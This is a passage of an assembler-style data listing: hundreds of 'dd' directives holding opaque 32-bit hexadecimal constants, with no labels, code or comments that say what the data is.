		dd 9091000Ch, 0BADA8C5Dh, 0EF00AE94h, 11817089h, 0E873C8h
		dd 42EAE514h, 0A2D26EC0h, 166A9900h, 82957230h,	0EC7D000Fh
		dd 907394BCh, 0F5A00AAAh, 363C2053h, 0E2B68089h, 87D98BBh
		dd 48AA0060h, 0DF994CD1h, 5A008D09h, 69C21343h,	603B97h
		dd 63F9C815h, 0D981AC30h, 0C5A55E00h, 0C916871Dh, 0F4FB00ADh
		dd 4ED15032h, 580075DAh, 376A5711h, 85D772h, 0D544238h
		dd 0F0AD200Fh, 2408BF00h, 0DE8FFB45h, 0B10B0056h, 0AAED9581h
		dd 67001892h, 20A1F121h, 0F421D8Eh, 2D142349h, 0CBEE5D00h
		dd 0F0033836h
		dd 0EA7BBEDh, 946097F3h, 778C2Fh, 0BD0C8096h, 18D5F243h
		dd 2EFBC900h, 4B624172h, 0D2F8A6h, 0E421638Eh, 0AE843383h
		dd 0E89AD0h, 0C3FE292Dh, 1B0AA8h, 88FD0F0h, 917760E6h
		dd 0F441EF01h, 1D06FF31h, 49B1460h, 29D71994h, 0C264817Ah
		dd 712F3043h, 9E66C400h, 0ED80925Eh, 0EBDE00C6h, 2212643Dh
		dd 86008506h, 8A4382E8h, 4E2E28h, 365C789Fh, 0BABB15E9h
		dd 0F41DF424h, 65B18C01h, 2BD8EF09h, 0E8A10136h, 1FDEAFF3h
		dd 0B4E6702Fh, 16959C00h, 0A06B419Eh, 1DFF00A1h, 0E5117D4h
		dd 5D070FE8h, 8633CA6Eh, 4AEB5F10h, 48DF00A1h, 1ABFAEC2h
		dd 8A001EFAh, 254CBEB2h, 4C264688h, 0CF0E74C9h,	63C0226Dh
		dd 0F81E85B7h, 37010A90h, 0D6497E0h, 0CBF03FBBh, 0D4A007A9h
		dd 14AB801Dh, 1B34C0F8h, 700CE03h, 0E1A7D5F4h, 1C896FFh
		dd 0E8CF088Ch, 606FC4E6h, 12ECEA00h, 0A8D65A00h, 5B36AAF1h
		dd 0B92E0094h, 0F6D21657h, 46094014h, 80119EE0h, 8E09A66Ch
		dd 0D70D0523h, 6A4486h,	544F1CE2h, 5701FDF5h, 0A8D920A2h
		dd 82E87AA3h, 46A6033Dh, 3BD1A1AEh, 0A0F8E883h,	14C5D3Ch
		dd 4E3500E6h, 0ACE718CBh, 93C40032h, 0C308CF43h, 0A71E710Bh
		dd 95C6DFF3h, 7CB64F3Dh, 42320068h, 0B9CB8EAFh,	0BC06D9CEh
		dd 0A87D88Dh, 38AA793Ch, 283814F9h, 4622948Bh, 8C6A6F00h
		dd 9000B166h, 2B50F876h, 0ED4D0Ch, 77A33371h, 0D34BA5F5h
		dd 49D6DF00h, 7D8139D4h, 0CF420794h, 0A07AC345h, 0A7101D6Eh
		dd 61B6AF00h, 0BD156DDFh, 44E10020h, 0E9065063h, 0C826C7A3h
		dd 0A100F3CEh, 7B9DCA23h, 726F0333h, 0C7829A4Eh, 0E6B098FBh
		dd 0EC078CBBh, 8840F89Fh, 99F4EBF0h, 0E56C0018h, 268A356Fh
		dd 0AF0004B4h, 0CF3852E7h, 2EC8FE86h, 1C28BBA4h, 30F78055h
		dd 2BB5EA53h, 130077E6h, 0AB481157h, 522302h, 70E2EF2Fh
		dd 0B6BE0FF3h, 89CEE716h, 33539704h, 269BA4C0h,	0C8990084h
		dd 31FD92EDh, 0C33F22A2h, 422D003Ah, 418BEC0Bh,	0E1C90229h
		dd 9AF3CFE9h, 377EC4C8h, 595AC11Fh, 0AD71D303h,	8322903Eh
		dd 22F7FA9h, 0D429F1F5h, 2840E001h, 0EA2C782Ah,	55E14836h
		dd 0FA80E9B5h, 0DB81F3B0h, 0B118A2CFh, 9420CD5Ch, 939C045Bh
		dd 0B0367044h, 985D2CE8h, 343D0464h, 0C8B07B7Ah, 2ABF0083h
		dd 52EB145h, 0C01DFE77h, 66066D0Fh, 503018h, 1D3A74ACh
		dd 17EE21D1h, 0FB6F3F0Ah, 0C600C496h, 0E3E5CFD5h, 2EDE000Dh
		dd 37FF555h, 0CA0054B6h, 0F66C928Bh, 60A328F0h,	0C650C0BFh
		dd 8D021E37h, 453832D0h, 0C4CEE2Eh, 5E2FC96Ch, 77005710h
		dd 72BB27ACh, 0FABC2007h, 60C04D02h, 7C3BD900h,	81F60A99h
		dd 6F3F70E5h, 97E26900h, 6755A60h, 158B865h, 4DEDE734h
		dd 41C2335Bh, 40D02084h, 3595AB9Bh, 889BE00h, 5BBC7B4h
		dd 0FD1305C1h, 9001325Fh, 172CD2C8h, 2DC7B09h, 261C80FEh
		dd 90141Eh, 2EABE832h, 0B02C79E4h, 452C689Ch, 993F0600h
		dd 0E87746h, 0CE906D8Ah, 0BE8134F8h, 0E92D9202h, 0E8BA8E75h
		dd 484BB5DCh, 0DE39C2EEh, 6A8003BAh, 0FB14D2F8h, 9E149B02h
		dd 1CC8C238h, 0A5DD05C7h, 8CC99D40h, 3C3404E5h,	6E00E8F1h
		dd 9AC31556h, 0D30741A8h, 1FCB8476h, 0A629DF80h, 52E0C074h
		dd 28ECD48Ah, 61FF4B00h, 9EE39887h, 905C982Ch, 2B573DE6h
		dd 0C53F0EF7h, 0C4E1397Ah, 0E8CE8128h, 6E00F71Fh, 0A4E1E6E2h
		dd 7F9735Dh, 0ADB25DFh,	70EB575Fh, 632C5889h, 34B3080Bh
		dd 64490039h, 0DA7EF6h,	0AB4CA482h, 19FED77Bh, 0D8E7521Fh
		dd 0D07001FEh, 34DEC27Dh, 3A36FCh, 8334A87h, 898416F0h
		dd 5217B103h, 0F813D90Fh, 34146DAh, 2F3EA04Fh, 309857E9h
		dd 0F70092A7h, 6882E0Fh, 7EEA1252h, 0D1DF1D68h,	7F9FC137h
		dd 809907F9h, 25D4FA80h, 5C87E6h, 66FDB4FFh, 59BA7360h
		dd 0CBE2E40Fh, 40EF4F98h, 16ABA81Ch, 4F89007Ch,	27810C9Dh
		dd 0D8F866E4h, 141CDEF6h, 6440C4CDh, 58416373h,	0D93F0057h
		dd 0B9EEC21Ah, 2105DBE4h, 6C3B4C33h, 0FC5616C0h, 7C8AE2B0h
		dd 0E6870081h, 67ABB3BEh, 5A01F13Ch, 0FA96917h,	0A0EC0654h
		dd 0F627000Dh, 2C2EB842h, 79794CC2h, 0AE00CEF0h, 767362BCh
		dd 24289CCCh, 0C0C8BAh,	64819B0Bh, 0C200D26Fh, 0F215A48Ah
		dd 484575Eh, 0FDC6B3D4h, 5A268092h, 0B90010D5h,	0FAE96A39h
		dd 0B897A12Fh, 0BC4300CCh, 0A27899ADh, 0F401C35Fh, 0CC060D6Bh
		dd 93F51E18h, 695170h, 5E7DD279h, 28BF436Ch, 0EF4DB58h
		dd 20A30314h, 25B470D6h, 138B0019h, 5BC668C3h, 7B0763CCh
		dd 0F56F50CBh, 983884F0h, 0E733001Bh, 7FD8B7B0h, 270062F7h
		dd 702E368Fh, 1F865D23h, 496A3Eh, 4E82853Ah, 0D900C72Dh
		dd 56173D9Eh, 98F392DAh, 4F2302B4h, 0C21021FFh,	1E90ADE0h
		dd 0AA71D200h, 6379344Ah, 584271ADh, 0D00920Eh,	8510F1AFh
		dd 73181C57h, 0C7220BCDh, 709E0745h, 0D0FDB8E2h, 0A6B4F811h
		dd 2A7D1000h, 5EB99043h, 0EFE30037h, 0B3DF3A85h, 0BE001240h
		dd 0F3625DAFh, 770880Dh, 0D66DFC3Dh, 0BBFB20C0h, 3500A4A1h
		dd 589B1373h, 0E64AEFAh, 0BF915766h, 0F120FF2Fh, 0A5EFA90Eh
		dd 8A21B000h, 3A958607h, 89F02C2h, 0D6DE796Eh, 0E009CD2h
		dd 0C677949Ah, 337F23h,	5866639Bh, 8A5F29A8h, 2E8B1C00h
		dd 6CB8B781h, 7C968Fh, 0B3039B37h, 0D9009333h, 94C689C9h
		dd 35D0711h, 0A6912326h, 61D88878h, 2C0020D8h, 0EC15C442h
		dd 3A9C170Bh, 5F819B1Dh, 6BBCCB6Dh, 34D464B0h, 0A74BA200h
		dd 0BDC11B1h, 7F8B4837h, 0AFCB4300h, 0FD77F6A8h, 0B141E300h
		dd 7F7A4868h, 0B51C2C3Dh, 70CF03B5h, 5DF09CCBh,	0B06653Eh
		dd 0B7524821h, 53C00038h, 1E82B532h, 0FC2C39C4h, 4C396C35h
		dd 9C31005Ch, 0DB3493C8h, 0ED0F0022h, 329A35B2h, 5E004E20h
		dd 8163D360h, 4B5FF71h,	0FA0DBEE4h, 684EC0A5h, 0C59042ABh
		dd 0A800455Bh, 55606BBh, 2C4A27D7h, 0D25E000h, 7F0004F1h
		dd 0FC4E07BFh, 4C64A9B8h, 9C0B2368h, 5C4399BCh,	0CFAE66B8h
		dd 8150D53Eh, 3A78FCFEh, 0FC30A4F6h, 0DB30F11Ch, 0B850064h
		dd 9A88F5E9h, 833F11DBh, 9B913F2h, 2A7A8890h, 4EE40264h
		dd 57692F93h, 5590606Bh, 0F1036C9Ch, 18EE8D59h,	707A003Eh
		dd 4FCBE501h, 52DDD62h,	0A714A3C9h, 8D1C906Fh, 0E221002Dh
		dd 892B1EC2h, 0A44F7325h, 1B8183Ch, 72247A8h, 60C08C66h
		dd 0BA3CC5A4h, 6FDA0058h, 0B6E4AD30h, 39560013h, 2BE7A9D9h
		dd 96014391h, 3E2CC88Ch, 3889B4C7h, 6300B29Dh, 9E784B94h
		dd 70D0F100h, 0A8EF2755h, 14510057h, 4147EEBAh,	0C8743A21h
		dd 7A70F000h, 0A0F5B8D7h, 1C072DBh, 0A6C7578Eh,	9EB1CAC3h
		dd 59414334h, 0F2D9BCFBh, 2E006078h, 0D23480D5h, 13305C9Eh
		dd 1A51B064h, 390900DCh, 9CC19222h, 1762005h, 6CC0802Ch
		dd 212AA305h, 5789BC90h, 2FA71D3Bh, 3F1D688h, 2514B2F4h
		dd 0C002178h, 0C0E2C426h, 4246BF8h, 920F088Ch, 887100CCh
		dd 316F4B1h, 28957D0Bh,	1491F79Fh, 9A4AC0CEh, 0CA01E673h
		dd 43F220Eh, 0BC20F51Bh, 0A2FC2C44h, 42920082h,	0D1561E77h
		dd 93483Ah, 11F70433h, 0F8C67C8h, 0D03CEC7Fh, 0ED360077h
		dd 0EB9EE128h, 67A41F00h, 63775EB7h, 0C5DA00CBh, 0FED20CADh
		dd 3E039C3Dh, 0D888348Eh, 0C0B682CDh, 98581772h, 125302E4h
		dd 0ED9936F7h, 253C8CC0h, 32DEDD00h, 0FC5B1828h, 0CE53007Dh
		dd 3B9AF138h, 91008755h
		dd 0D7E358Ch, 5AABBE3Ch, 0F3040079h, 0E0696CF7h, 0BC295A00h
		dd 5C67B931h, 9E7A00DBh, 0F8281E99h, 357AA8FBh,	0DC5BF000h
		dd 31AAD2B9h, 6DFF3962h, 7E18F700h, 5967CE36h, 938C29F3h
		dd 803C390Bh, 67C23148h, 74947Dh, 468D3E4Ah, 24007A23h
		dd 0BE62F31Eh, 0DAF7F4h, 0CAED8FBh, 0C3DEEE74h,	0E16D4D00h
		dd 7F334CB5h, 0F6660322h, 0EA2CA0Dh, 0A970D09Ch, 2B0FF3B8h
		dd 80E4ED12h, 53450144h, 0CCE84Ch, 15A7F8DAh, 2BE578B4h
		dd 6800B2FAh, 901782ADh, 3F888D5Eh, 48CC3D18h, 27C7F700h
		dd 2D49CEF0h, 671FEE0Fh, 507A218Ah, 5828CD5Eh, 745D2202h
		dd 0ECE29ABEh, 0D89E4CD3h, 0B586CA80h, 1FB6148Ch, 435B2D92h
		dd 0ED936715h, 0FBB939C8h, 0E069A00h, 0C3DA8C5Ah, 95A4Fh
		dd 3AA92F0h, 1517369Bh,	1440C608h, 73A8B2C5h, 0A65C00D8h
		dd 33CD91B0h, 6404DC06h, 5008201Fh, 3757A490h, 2C283BF3h
		dd 1FB0104Ch, 0C49035E4h, 5A64F804h, 0F0A1C99Eh, 1CD5C32Eh
		dd 65417100h, 9B9E88F4h, 0B3B81293h, 0BEE08003h, 0D709E2D8h
		dd 20205FBCh, 1095E5B8h, 3DAE3AD0h, 0F74DBB87h,	0ADAA747Bh
		dd 2BFC811Ch, 0A980EB46h, 8FDD314Ch, 0CC927B33h, 0D92B30E3h
		dd 0C9812800h, 0DE53CD45h, 1D182671h, 9BC20C90h, 1B00E1FEh
		dd 799E469Ah, 1CA8936h,	0EC8E0D2h, 80A54DD9h, 23BEEEF1h
		dd 957CAAh, 72FBCCD6h, 0CE069B80h, 2AD2D00h, 5BF40DAh
		dd 8C7310h, 0F22E14F0h,	90949C84h, 916210C7h, 0FCBB3CF0h
		dd 275F1754h, 0F72E0022h, 0FFD9D8D1h, 3A01B3E8h, 0F2634D2Ah
		dd 28E847EAh, 0E65A01C1h, 3BE167C9h, 62945053h,	9B004BD7h
		dd 0A716DF1Bh, 246EDAE4h, 474013E9h, 601F7064h,	501C9FCCh
		dd 0E44026D6h, 79060F9Ah, 0FB35008Bh, 632045CEh, 0DE580267h
		dd 0FD150094h, 7D9A1C1Ah, 4060B632h, 2EF2ED63h,	0AAEAEE00h
		dd 1BCD9B61h, 0BCAF5BB8h, 39CF0093h, 38B278C9h,	0C0A60041h
		dd 5BB32D4Fh, 321D62A9h, 8139EEECh, 8A7AB24Ch, 0CED44B37h
		dd 72D70E9Ah, 83001363h, 0F46DF6E3h, 0A2A47000h, 14CC815Ah
		dd 4DC7485Ch, 803D8F05h, 9920CC95h, 0E001AE0h, 8DE1D906h
		dd 81296Eh, 0F2F9DB9Bh,	0A792EC51h, 3944FA13h, 33837400h
		dd 3865D495h, 0C78074B6h, 6A129BA2h, 0A9181622h, 2F283CE3h
		dd 63B026Dh, 0ED575C4h,	987085Eh, 0A3A09D10h, 7FE10AD1h
		dd 0E02F604Ch, 7DCD465Fh, 40718F1Eh, 0DB639A47h, 0E8704CF0h
		dd 6AC10541h, 0C0E7B65Eh, 67C61FCDh, 0D45ADA12h, 11658B4h
		dd 0F78FB04Bh, 7C08A2Dh, 53863C50h, 0E9AE16D1h,	6550408Dh
		dd 31E717ECh, 0F3DC9000h, 0B8E1A00Ah, 0F005E458h, 74F00F5h
		dd 0A103D8B5h, 0AA009AD6h, 541772ABh, 684462h, 9030F60Eh
		dd 7DB2F88h, 0A51F7174h, 0B400F056h, 13A9BAFAh,	289B137Bh
		dd 3468239Ah, 0C441CF90h, 0AF21700h, 83E42BE8h,	29D5009Fh
		dd 0AFDEBE7Dh, 391C9E7Fh, 98E6FC66h, 3F40691Eh,	769B65F2h
		dd 0F600331h, 97B5E0F3h, 1732D100h, 0BE28EE4Ah,	115A0029h
		dd 71B5BBC3h, 0D848ADFCh, 9E1E0078h, 0D14AE3C1h, 253204EEh
		dd 0C03C2888h, 45717324h, 409A677Ah, 443B5201h,	68469926h
		dd 0F78EC30h, 0A763EE50h, 0A2766D60h, 3770EF77h, 7AA02F00h
		dd 0C15EEBB9h, 24DC00F0h, 6F14E7B7h, 0BA004913h, 0FC33222Fh
		dd 0FC071EFh, 0D53B7396h, 83433120h, 0AD004F6Ah, 594BBCA1h
		dd 6327CDDCh, 28CBF88Eh, 9BE832FBh, 6C0EBEAAh, 60529720h
		dd 0F0A2D3Bh, 2DABFC5Fh, 243380FEh, 0B70640FFh,	9103746Ch
		dd 0CBD05A3h, 188D885Dh, 81F03EF8h, 2D9A7280h, 0F11A11E4h
		dd 56D35705h, 0F0CE29B8h, 3A268E0Ah, 0CCA980C8h, 0F8C661C5h
		dd 97E56900h, 0D24F583h, 30E93F7Eh, 56AB7505h, 0EE40096h
		dd 437D028h, 10FD4C26h,	0D6804900h, 9A6B7Fh, 0FA9EC44h
		dd 7E72FE9Eh, 983D6C09h, 0CF440388h, 4391C8EEh,	83B51CFCh
		dd 0E8F5C017h, 5EC83EE9h, 5F068803h, 0D81A72E7h, 0F398B7FBh
		dd 781C27h, 1A249760h, 0C6D3DE14h, 4B055600h, 0B92DBCB4h
		dd 0ABB700E9h, 9C9336E4h, 0C80EA284h, 632C25EBh, 0F839D7D2h
		dd 6B090Bh, 40D81180h, 0AF5FA310h, 0D9790E03h, 0DF5DED8Eh
		dd 0A5C56090h, 0C0DB001Ch, 0E284BE05h, 595832FDh, 74007CC5h
		dd 21F83D08h, 937A90h, 4E2F55F9h, 5B9FD257h, 9100EA76h
		dd 334A832h, 187DE5h, 0E4A9BCADh, 7174685h, 677E0C00h
		dd 0EC9834CCh, 3BEF0060h, 0E1C9DDF9h, 0EA0722B1h, 0F5108E1Dh
		dd 0A2AAD350h, 0C753008Ch, 0E82CDEACh, 0FF0050D8h, 0B48E466Eh
		dd 0F204C6h, 0B066AD74h, 0AB5549Bh, 913590Eh, 95108064h
		dd 0FE07401h, 3B812092h, 366246A0h, 384C41DFh, 27C90050h
		dd 0B054F2D3h, 0A2D5CCAh, 4B7DE400h, 0C38AD69Dh, 35577400h
		dd 32268FB2h, 4D8416C2h, 4C8000CBh, 0E8EA1C12h,	183F6Eh
		dd 0FF8F9A53h, 668D003Ch, 0A4E17D30h, 9E000CA3h, 136E1935h
		dd 31BC0Dh, 0DC813C6Fh,	93EBFAD9h, 0BEF88200h, 3BC08F09h
		dd 3D7FE99h, 58ABD830h,	10A99256h, 21E8F040h, 87A98300h
		dd 737E908Ch, 0ECBA0B5Fh, 0D080B6B8h, 1DB7618Dh, 0AF003AFEh
		dd 1E7DA717h, 0D21A3Dh,	60680CBEh, 876E8FC9h, 26F2F300h
		dd 30C60B48h, 0AEF8B2h,	43E7450Ch, 27D869D0h, 8C22B300h
		dd 0EA7CCB7Dh, 0A76E0C8Eh, 68E855BEh, 39EE0FBh,	0EF746900h
		dd 11A42E07h, 3FD30004h, 88B8B1BDh, 8058DF82h, 0CF140728h
		dd 0E5D0F3D9h, 0C32AADDh, 301E1C7Bh, 0CC00F858h, 2E3BC404h
		dd 1F6B53C2h, 34D4ACBh,	0A225ED59h, 63363980h, 0EEE88900h
		dd 7D16370Ah, 3A3F1FBBh, 388079D2h, 0F62AFAFFh,	0C097AAA2h
		dd 1E324E19h, 40E33003h, 0E799B6CAh, 7E1FDF3Ah,	2B80739Fh
		dd 6272BB2Dh, 0C6C0089h, 7A28F08Fh, 311D1242h, 0FC00360Bh
		dd 0A92A0EC6h, 27410332h, 28E6F819h, 0DB7B85A1h, 1509C002h
		dd 5CD492CDh, 969450B0h, 0D3E71400h, 0CD20371h,	25C00091h
		dd 85065155h, 2401B065h, 242AE13h, 1082FAA1h, 0D0A0D5B2h
		dd 93D129C0h, 4B01AB90h, 8D33415Fh, 0F2B90CDh, 4F83ECD0h
		dd 4400621Ch, 0D1FAC416h, 58653DC5h, 92074B6Ch,	81FFE5ACh
		dd 8789AA9Fh, 15CC9D10h, 0EF80CFD0h, 0E1080046h, 0DCD18AE2h
		dd 7C03B78Dh, 83481DA6h, 17E9F806h, 0F1350798h,	41C70EC5h
		dd 0C86450E5h, 30A28B87h, 84BF14C3h, 0ED6F812Eh, 0D87EEE19h
		dd 0FFE42202h, 0A85F60D8h, 0C74F30E8h, 0F9185A18h, 0B00D1630h
		dd 46E7D4h, 0B2FEDFBBh,	643A39Ch, 979FE80Eh, 0EE726032h
		dd 9A28034h, 45E70C2Eh,	0B2B62C80h, 8300516Ch, 0A70BB370h
		dd 3D38A267h, 4D3B3D33h, 2EF79980h, 57D91089h, 8D9BDC1Fh
		dd 0E51F4800h, 5B200Ch,	0E1686D8Fh, 0C1EFC7BFh,	56002EB8h
		dd 0DD4446CCh, 0B26F0Dh, 8A351577h, 0EEC776D5h,	0F70E8C09h
		dd 742C80BCh, 0E173E9h,	0C220BF12h, 0FBDE88A9h,	0CA96902Ch
		dd 81BC800h, 0FF195h, 621FC22Dh, 138BCEA0h, 7F00417Eh
		dd 0E96B0674h, 9A1D44h,	2975AA3Ch, 2254D49Eh, 7E38CD03h
		dd 0C07089D9h, 1CA09BB2h, 0FC059FEh, 5AB8E509h,	160108D3h
		dd 73B99298h, 0A830E155h, 0D079007Bh, 0C82CAF5Dh, 65004015h
		dd 73AB7845h, 1BBE6Eh, 0D186A376h, 2599AC54h, 63272A00h
		dd 0C1BCD0B2h, 1A7D36h,	8A4D1E49h, 3A208BCBh, 2287F512h
		dd 0F2834000h, 17F4BE0Fh, 7C69131h, 43C53974h, 2000C40Ch
		dd 0C0ACB7D2h, 0F9D478h
		dd 128635F2h, 8D500257h, 69DF1730h, 7A3C96AEh, 0E000B51Eh
		dd 0F9615003h, 9ABCD303h, 0C14EDEDBh, 0C7E0D678h, 7F193EB0h
		dd 0B396C581h, 0CAF9DAE4h, 6075384Ah, 0E7F4B0h,	4459CDEAh
		dd 525EAAA5h, 92006490h, 224F284h, 0E68FC037h, 2C7F312Bh
		dd 80070190h, 3E344DF8h, 0EA1E4415h, 33B73128h,	0D0B146A8h
		dd 1D60172Eh, 3ADD4D98h, 0F28C0015h, 0ED229BA0h, 40B4790h
		dd 809AD6DEh, 0E4644A5Fh, 0EA7195h, 92347C8Ah, 0EB6EACA7h
		dd 77DE3500h, 31E0A2C1h, 4DF5002Ah, 0DAB43A63h,	7C00ED10h
		dd 0D59FC0A0h, 2CA145h,	120E9A4Ch, 0A4C98DC8h, 0F07948h
		dd 0D38FF5B6h, 0F8AE29h, 0A749924h, 7B59EE94h, 91A6C900h
		dd 0AE6F54BEh, 35363D2Bh, 0CDA73800h, 0E2AAFC6Dh, 5EC7E400h
		dd 0F62E7863h, 0E9A80007h, 84FEC092h, 3B0ED3D2h, 0BD5BFD4Dh
		dd 0FABAF581h, 96D04FC5h, 0A261124Bh, 2A260665h, 463B3015h
		dd 6D050119h, 6C06EB27h, 0F038C4h, 344926E9h, 5AC37ACFh
		dd 4C125600h, 5834D0Bh,	306800EAh, 4A25E735h, 2800EE49h
		dd 731D6D44h, 5B8380h, 85A40964h, 0E3912C56h, 0A50A6900h
		dd 0E8B62FEDh, 9BC30008h, 0DB76EE93h, 780016AFh, 576661B7h
		dd 3A30EDh, 0E0494F72h,	0F840BEAh, 1A01AFFEh, 0CE816C83h
		dd 61D44DBEh, 0B66800C8h, 0FC8AC510h, 2F00F126h, 46445773h
		dd 9F12AFh, 7BECFBC9h, 52D0CBBCh, 0B20D4707h, 5B50B041h
		dd 80755Ah, 73E55E6Dh, 0D8A72D44h, 0D0F12000h, 0FD98F543h
		dd 49671EAFh, 4285C34Bh, 90C8A184h, 0FC0F6F15h,	0A135DC86h
		dd 79A668F5h, 804D219Dh, 1A8D8914h, 0DD98E3BAh,	881C6A00h
		dd 2B1B34D2h, 2A7D00FAh, 1E8475BBh, 0BC1F37E4h,	54428FA6h
		dd 0E0214AF3h, 6CB766Bh, 0E777CF09h, 720120A2h,	383B8E05h
		dd 0DFE44337h, 95C218F4h, 0B4A04014h, 0C6154A00h, 0EA3D90A2h
		dd 0C2570042h, 0A7FD4B8Dh, 1900B41Ah, 6DA3A076h, 0F8F57153h
		dd 0E9BD36CDh, 0AD21E848h, 14AA8122h, 0A0F6C3C9h, 0BB6074E0h
		dd 5C7A4F51h, 3C980019h, 0A2D98089h, 8C6017D7h,	63B39520h
		dd 0F6B40BD1h, 458FAA84h, 0B6E14F80h, 2B035493h, 0A56703C7h
		dd 7AF790A4h, 0D93D1F56h, 7BC1462Dh, 34073098h,	8B0BE80Ch
		dd 0A981E320h, 9F690009h, 0F1271342h, 7D00ADFAh, 0A4C2F654h
		dd 2CBA67h, 99F9A2CBh, 9C5D39B6h, 5CEC98C0h, 487D065Ah
		dd 0AA006159h, 0DFB4FB4h, 5D58AB84h, 0B007A71h,	0FF868EC0h
		dd 8BB573h, 76A18F07h, 0F443DC0Ah, 236BE600h, 58335BDDh
		dd 0B4D2036Eh, 0A41634C2h, 0F14C32A8h, 8BAC7F00h, 8E3DB04Bh
		dd 3FF452h, 72E16AFEh, 544573AAh, 8749A100h, 5FB09638h
		dd 4E120013h, 98328E14h, 830064E6h, 4582BD4Bh, 7AEE209Fh
		dd 60C1F8Bh, 21C998F0h,	550116FAh, 0AC1D5921h, 95D88FF9h
		dd 0EC9E03B0h, 0F651B5C6h, 9F9D4BC0h, 804E1D06h, 1194F7h
		dd 6CD784E3h, 460D427Eh, 1F9B021Dh, 9E4EE000h, 0F60519Fh
		dd 2608B7A4h, 82F6CF40h, 0EF000EE5h, 55CC3FB8h,	1854B41Ch
		dd 1834074Dh, 42F2812Fh, 9CF26C05h, 9A006B83h, 0E12233C8h
		dd 979601Fh, 839F8D45h,	685A8B00h, 8648FBFAh, 3911601Bh
		dd 0E1C1905Bh, 7BD76B00h, 0AC23B3B0h, 3D0BE6AEh, 0FB1447F6h
		dd 0E3076C02h, 0B5F1A2C8h, 0FA642322h, 14552100h, 849A92D6h
		dd 58211EB3h, 0FC33805Dh, 13FEE115h, 534BE71Dh,	40CCC00Eh
		dd 4F9062D3h, 17C00F0h,	57D17348h, 2A00CFDFh, 6EA2827Bh
		dd 1596133h, 0A91F5FCAh, 0F023883Ah, 0B40030DDh, 0B65222A7h
		dd 1F6BEBFFh, 0C3D61A28h, 95F3C60Ch, 820EC4C8h,	5AEF7C00h
		dd 79E4CB4Bh, 9C10C59Eh, 0F3042098h, 0F100815Bh, 0E25D26DFh
		dd 1C44A4Ch, 7D75B2C0h,	0E42061E5h, 0F37FA851h,	16E82F7Eh
		dd 1D49301Ch, 41D5EA00h, 0A51C3B8h, 4792432h, 4FCC0280h
		dd 0B1E259D7h, 0A19E9960h, 0F7009474h, 0F4ED0792h, 2798D5h
		dd 52CCB8D4h, 5E970A60h, 0C900AA76h, 0C7BBE5B0h, 0F1F302h
		dd 91BFB73h, 45C52A91h,	3955B300h, 0AA2D267Eh, 28DC0002h
		dd 0FC53C6BAh, 0B30052B6h, 181AA49Bh, 0E3806F9h, 0F0352399h
		dd 6A2F4EA0h, 0C3005487h, 519768Ch, 0B07213D3h,	0A325006Fh
		dd 922CA748h, 0F31E6FEDh, 2843A253h, 0A05C67D8h, 43681Ch
		dd 722A54CBh, 7DB31AB7h, 7F926500h, 777562F9h, 0D77E0E5Ch
		dd 80DC96E3h, 8D90BF6Dh, 6F7E23EFh, 3788A600h, 639FBDC1h
		dd 0AFC30075h, 4FAE43D5h, 480071FAh, 8AC6219Eh,	7E79E23Bh
		dd 2B500067h, 0F0473DABh, 92747ED6h, 0AE5CE51Ch, 69336B00h
		dd 0BF6C1Ch, 86758435h,	0A12F469Eh, 0C348B803h,	105C5Dh
		dd 49584320h, 59F77265h, 0E38B8718h, 0DD318h, 273483A7h
		dd 42EBB95Ah, 0FF18CF00h, 15B8A9B4h, 0CAF6F2h, 9D137DF9h
		dd 6D689C5Ch, 97003EECh, 0FCCBC707h, 79891FAh, 11A6EB3Dh
		dd 0EA4A4002h, 0C400E148h, 2E6AAA43h, 771A324h,	0C7293D2Ah
		dd 5B160FEh, 3E003212h,	0BF59F1BCh, 3477835Ah, 0C0FE6431h
		dd 0D2909E3Fh, 80273E3Ah, 3E2FA9Dh, 6FC2Fh, 3F1416EBh
		dd 492EE02Dh, 0B4963900h, 4CC7BD5Ch, 0B887E8B2h, 0F44B002Dh
		dd 237AE3F2h, 8F601392h, 37F01BB4h, 0A90E0CBDh,	0B911CA35h
		dd 0F77EF398h, 34B22A00h, 19590798h, 0C74400E1h, 6EE34AA5h
		dd 69799FAEh, 5ABEA400h, 7CBFB4E4h, 94D0FB1h, 2380F4CBh
		dd 0ECC9584h, 0FD04E30Fh, 1B3E9F0h, 0CDBEE2B4h,	244BDCh
		dd 9039C2FBh, 785A8F22h, 0B4C8F928h, 5C08E60Ch,	72F6F99Eh
		dd 47DE0079h, 0AA37B065h, 2D0F108Ah, 808FB6D0h,	97E3E9Ch
		dd 30CD0027h, 97DC71EBh, 843DBF29h, 4CC881EFh, 2E259475h
		dd 0B5B6D0h, 923FE489h,	73C95F58h, 707D1700h, 0C0790501h
		dd 0BF62077Eh, 40D18863h, 0D43FE93Ch, 8EB42F00h, 0D5500305h
		dd 8FC200A2h, 0AD46167Ch, 6F00684Ch, 1B6234AAh,	0C8F5ACh
		dd 38194D2Eh, 673EC2DEh, 6A10FD00h, 89CE7C74h, 9F75DFh
		dd 0B8CBB141h, 912849F7h, 0F200DDF4h, 3AA6AA5Fh, 894D66h
		dd 8A32BC5Ch, 0B59C306Eh, 0CDFC920Fh, 6D082012h, 9F192Fh
		dd 0B11EDAB7h, 0DF8C0538h, 0FFEF3407h, 0F1903D75h, 1591DDEh
		dd 6CF5C339h, 0CCE753A6h, 45008150h, 25DCE835h,	716686h
		dd 0D17B186Fh, 36F3B2DAh, 0BA76213Ch, 0CC03A8BDh, 8A30FC03h
		dd 0E4531BB4h, 0D0A20083h, 3E3337Ch, 1C2FD545h,	0E590FD60h
		dd 0EE0BBE3Dh, 869A092Ch, 3C30E8BDh, 38009CDDh,	0C3B1D78Ah
		dd 9E00A71Eh, 442B8ADh,	74DBCCh, 930D4FA1h, 0BA5BCD29h
		dd 0A500A8ECh, 85CB976Ch, 6A34CEh, 0E450DA52h, 35B5D3DCh
		dd 1B005375h, 3807B8EDh, 26684575h, 1F60A1AFh, 0F5800F4h
		dd 17571915h, 0BA447100h, 0FC4789F8h, 0DFDB121Fh, 805A1CC8h
		dd 72B280F9h, 0B0DF0ED1h, 86406EDEh, 27398488h,	5DA91EAFh
		dd 0C30ADDA3h, 83C282B8h, 0DE4880F4h, 260096DDh, 3A32D201h
		dd 7722BCD8h, 50F0B1h, 0E21160D0h, 4FA38083h, 0E8012098h
		dd 21F6534Eh, 41EC35E7h, 0F4EE00F8h, 0BAEC9DDEh, 297EC499h
		dd 4ABF8500h, 3EAF571h,	93D6004Ch, 57B7D35Ah, 55003613h
		dd 7311695Ch, 0F80D7279h, 0D8DC2F86h, 0A9039C76h, 88CDBF6Bh
		dd 1F09EDD6h, 0E7D2E68h, 44E01F9Fh, 1839B475h, 28802600h
